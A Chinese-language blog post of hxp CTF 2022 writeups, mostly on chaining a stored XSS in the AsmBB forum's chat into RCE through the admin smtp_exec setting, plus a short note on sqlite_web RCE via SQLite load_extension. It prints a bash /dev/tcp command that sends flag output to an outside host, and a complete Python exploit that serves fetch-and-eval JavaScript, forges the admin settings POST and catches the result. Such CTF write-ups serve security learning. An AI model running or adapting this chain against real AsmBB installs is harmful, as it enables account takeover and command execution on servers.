2022 hxp CTF writeups

3/11 還在參加 DEVCORE Conf 時 ginoah 就已經把 web easy 題都秒完,留下兩題難的,這次比賽都在看 true_web_assembly,真的是 assembly :D

Web

true_web_assembly

asmbb 是個用 FASM 寫的 forum,這題目標是要 XSS admin 來觸發 RCE。admin bot 有限制 domain 在目標下,只能控 URL Path 部分。這裡拆成兩塊來講:1. 身為 admin 如何觸發 RCE 2.如何觸發 XSS 來讓 admin 觸發 RCE

Part 1. 身為 admin 如何觸發 RCE

既然是用 asm 寫的,要 RCE 就從 stdcall 下去找最快,FASM 有點類似打包好一點功能有預處裡機制的 asm (jwang: 那幹嘛不直接寫 C)搜了一下 exec, system, int 0x80 之類的可以知道 FASM 是透過 stdcall 做呼叫,查到 stdcall exec2 往上追可以看到和 smtp 相關,對應到 admin 才能看到的 forum settings

其中的 Pipe the emails through 欄位對應到 asm 裡的 smtp_exec ,如果開啟 Confirm by email ,使用者在註冊時會需要收認證信,就會呼叫 smtp_exec 處理。 stdcall exec2 在處理 smtp_exec 時是用空格來切割參數,不認單雙引號等等, 並且環境裡沒有 nc、curl、wget 等等,所以我們用 bash 來送封包,送往 bash 的 payload 透過 $IFS 分割

/usr/bin/bash -c /readflag$IFS>/dev/tcp/blog.cjis.ooo/8788

Part 2. 如何觸發 XSS 來讓 admin 觸發 RCE

這裡我們採到一個坑,該論壇有 chat 功能,透過 burpsuite proxy 來瀏覽時會壞掉,流量消失

burpsuite proxy 壞掉

正常要像下圖

正常運作

chat room 是透過 SSE(server-sent-event)來達到即時推送的功能,接受 event 後再 render 到 chat board 上

在 id=249 可以看到 originalname 出現奇怪的 utf-8 representation,ginoah 當初是先測試可以註冊帶 \ 的 username 會讓 chat board 壞掉,然後發現他會把整串當成 json string 處理,並且不會跳脫 \ 。進一步可以追到 server 在處理 originalname 時沒呼叫 StrEncodeJS 等等 encode function,就直接做拼接

...
        cinvoke sqliteColumnText, [.stmt], 2
        test    eax, eax
        jz      @f
        stdcall StrEncodeJS, eax
        stdcall StrCat, edi, eax
        stdcall StrDel, eax
@@:
        stdcall StrCat, edi, txt '", "originalname": "'

        cinvoke sqliteColumnText, [.stmt], 3
        stdcall StrCat, edi, eax
        stdcall StrCat, edi, txt '", "text": "'
        cinvoke sqliteColumnText, [.stmt], 4
        stdcall StrEncodeJS, eax
        stdcall StrCat, edi, eax
        stdcall StrDel, eax
        stdcall StrCat, edi, txt '" }'
...
asmbb/source/chat.asm

所以整個利用流程是

  1. 註冊 username 為 XSS payload 的 user
  2. 用該 user 發送訊息到 chat room
  3. 請 admin 瀏覽 /!chat 開啟驗證信功能和寫入惡意 smtp_exec
  4. 再次註冊需要信箱的 user 或是更改現有 user 的 email 來觸發 smtp_exec

asmbb 在一些重要功能會用 ticket 保護(==CSRF Token),在各頁面行為有點差異,此外這題有負責開獨立的 instance 的 instancer 服務和 admin bot ,題目機和 local 行為差蠻多,asmBB 自身還有帶檢測 bot 功能,錯誤訊息還很隨興,在寫腳本時有夠難 debug,雖然賽中和 ginoah 已經想出解答但是手速不夠快,賽後大概四小時才寫完全自動化 exploit QQ

import requests
import re
import base64
import sys
from pwn import *
from threading import Thread
import os
import subprocess

r = remote("162.55.216.146", 9032)
l = r.recvline().decode()
test = re.search(r'unhex\("(.+?)"', l)[1]
proof = subprocess.Popen(
    ["./pow-solver", "20", test], stdout=subprocess.PIPE
).stdout.read()
r.send(proof)
l = r.recvuntil(b"Please stay connected").decode()
h = re.search(r"running at http://(.+?) u", l)[1]
u = re.search(r"Username: (.+?)\n", l)[1]
p = re.search(r"Password: (.+?)\n", l)[1]
host = f"http://{u}:{p}@{h}"
print(f"{host=}")

xss = f'"><img src=a onerror="fetch(`http://c.cjis.ooo:7122/`).then(r=>r.text()).then(r=>eval(atob(r)))"><"'
# xss = f'"><img src=a onerror="fetch(`https://static.cjis.ooo/p.txt`).then(r=>r.text()).then(r=>eval(atob(r)))"><"'
xss = (
    xss.replace('"', "\\u0022")
    .replace(">", "\\u003e")
    .replace("<", "\\u003c")
    .replace("'", "\\u0027")
    .replace("&", "\\u0026")
)


def serve_payload():
    js = f"""
  fetch('http://{h}/!settings')
    .then(r=>r.text())
    .then(r=>{{
      i=r.search('ticket');
      fetch('http://{h}/!settings',
        {{
          method:'POST',
          body:'ticket='+r.substring(i+15,i+47)+
            '&smtp_exec=%2Fusr%2Fbin%2Fbash+-c+%2Freadflag%24IFS>%2Fdev%2Ftcp%2Fc.cjis.ooo%2F1337'+
            '&forum_title=&forum_header=%3Ch1+style%3D%22font-weight%3A+800%22%3EAsmBB%3C%2Fh1%3E%0D%0A%3Cb+style%3D%22text-align%3A+center%22%3EPower%3Cbr%3E%0D%0A%3Csvg+version%3D%221.1%22+width%3D%2264%22+height%3D%2216%22+viewBox%3D%220+0+64+16%22+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0D%0A+%3Cpath+d%3D%22m0+6+8+10h34l-6-6+28-2-50-8+8+8z%22%2F%3E%0D%0A%3C%2Fsvg%3E%0D%0A%3C%2Fb%3E%0D%0A&description=&keywords=&tabselector=1&host=localhost&smtp_addr=localhost&smtp_port=25&smtp_user=a&email_confirm=on&user_perm=1&user_perm=2&user_perm=4&user_perm=8&user_perm=16&user_perm=64&user_perm=256&user_perm=512&user_perm=1024&post_interval=0&post_interval_inc=0&max_post_length=0&anon_perm=1&anon_perm=2&activate_min_interval=0&default_lang=0&page_length=20&default_skin=Urban+Sunrise&default_mobile_skin=Urban+Sunrise&chat_enabled=on&markups=1&password=&save=Save',
          headers:{{
            'content-type':'application/x-www-form-urlencoded'
          }}
        }}
      )
  }});
  """
    js = re.sub(r"[\t \r\n]", "", js)
    payload = base64.b64encode(js.encode()).decode()
    from flask import Flask, make_response

    app = Flask(__name__)

    @app.route("/")
    def a():
        resp = make_response(payload)
        resp.headers["Access-Control-Allow-Origin"] = "*"
        return resp

    app.run("0.0.0.0", 7122)


def do_xss():
    s = requests.session()
    resp = s.get(f"{host}/!register")
    i = resp.text.find("ticket")
    ticket = resp.text[i - 40 : i - 8]
    resp = s.post(
        f"{host}/!register",
        data={
            "username": xss,
            "password": "1" * 8,
            "password2": "1" * 8,
            "ticket": ticket,
            "submit.x": "10310",
            "submit.y": "5",
        },
    )
    print(f"{ticket=}")

    print("[*] regist another user aaaaa")
    resp = s.get(f"{host}/!register")
    i = resp.text.find("ticket")
    ticket = resp.text[i - 40 : i - 8]
    resp = s.post(
        f"{host}/!register",
        data={
            "username": "aaaaa",
            "password": "1" * 8,
            "password2": "1" * 8,
            "ticket": ticket,
            "submit.x": "10310",
            "submit.y": "5",
        },
    )
    print(f"{ticket=}")

    resp = s.get(f"{host}/!login")
    i = resp.text.find("ticket")
    ticket = resp.text[i - 40 : i - 8]
    resp = s.post(
        f"{host}/!login",
        data={
            "username": xss,
            "password": "1" * 8,
            "backlink": "/",
            "ticket": ticket,
            "submit.x": "10321",
            "submit.y": "1",
        },
    )
    print(f"{ticket=}")

    resp = s.post(
        f"{host}/!chat?session=", data={"cmd": "message", "chat_message": "a"}
    )
    if "OK" in resp.text:
        print("[*] XSS Done")
    else:
        print("[*] XSS Failed")
        print(resp.text.encode())


def do_trigger():
    import time

    s = requests.session()

    print("[*] login aaaaa to trigger rce")
    resp = s.get(f"{host}/!login")
    i = resp.text.find("ticket")
    ticket = resp.text[i - 40 : i - 8]
    resp = s.post(
        f"{host}/!login",
        data={
            "username": "aaaaa",
            "password": "1" * 8,
            "backlink": "/",
            "ticket": ticket,
            "submit.x": "10321",
            "submit.y": "1",
        },
    )

    print("[*] changeemail!")
    resp = s.get(f"{host}/!userinfo/aaaaa")
    i = resp.text.find("ticket")
    ticket = resp.text[i + 15 : i + 47]
    resp = s.post(
        f"{host}/!changemail",
        data={
            "password": "1" * 8,
            "email": "aaa@bbb",
            "changeemail": "Change email",
            "ticket": ticket,
        },
    )
    if "Check your mail" not in resp.text:
        print("[*] Failed change email: " + resp.text[:100])
        print(f"{ticket=}")
    else:
        print("[*] rce triggered!")


t1 = Thread(target=serve_payload)
t1.daemon = 1
t1.start()

do_xss()

print("[*]  submit !chat to bot")
bot = remote("162.55.216.146", 9762)
bot.recvuntil(b"Please give instance username: ")
bot.sendline(u.encode())
bot.recvuntil(b"Please give instance password: ")
bot.sendline(p.encode())
bot.recvuntil(b"Please give instance port: ")
bot.sendline(h.split(":")[1].encode())
bot.recvuntil(f"http://{h}/".encode())
bot.sendline(b"!chat")
print(bot.recvall().decode())
bot.close()
print("[*] Try to trigger rce")
l = listen(1337)

do_trigger()

l.interactive()
exp.py
ginoah 要開始寫 blog 了沒

sqlite_web

ref: ginoah & official writeup

這題用上 werkzeug 的 temp file 機制,超過 500kB 會寫檔,再透過 SQLite load_extension 觸發 RCE,這裡檔案直接透過 /proc/self/fd/xx 存取。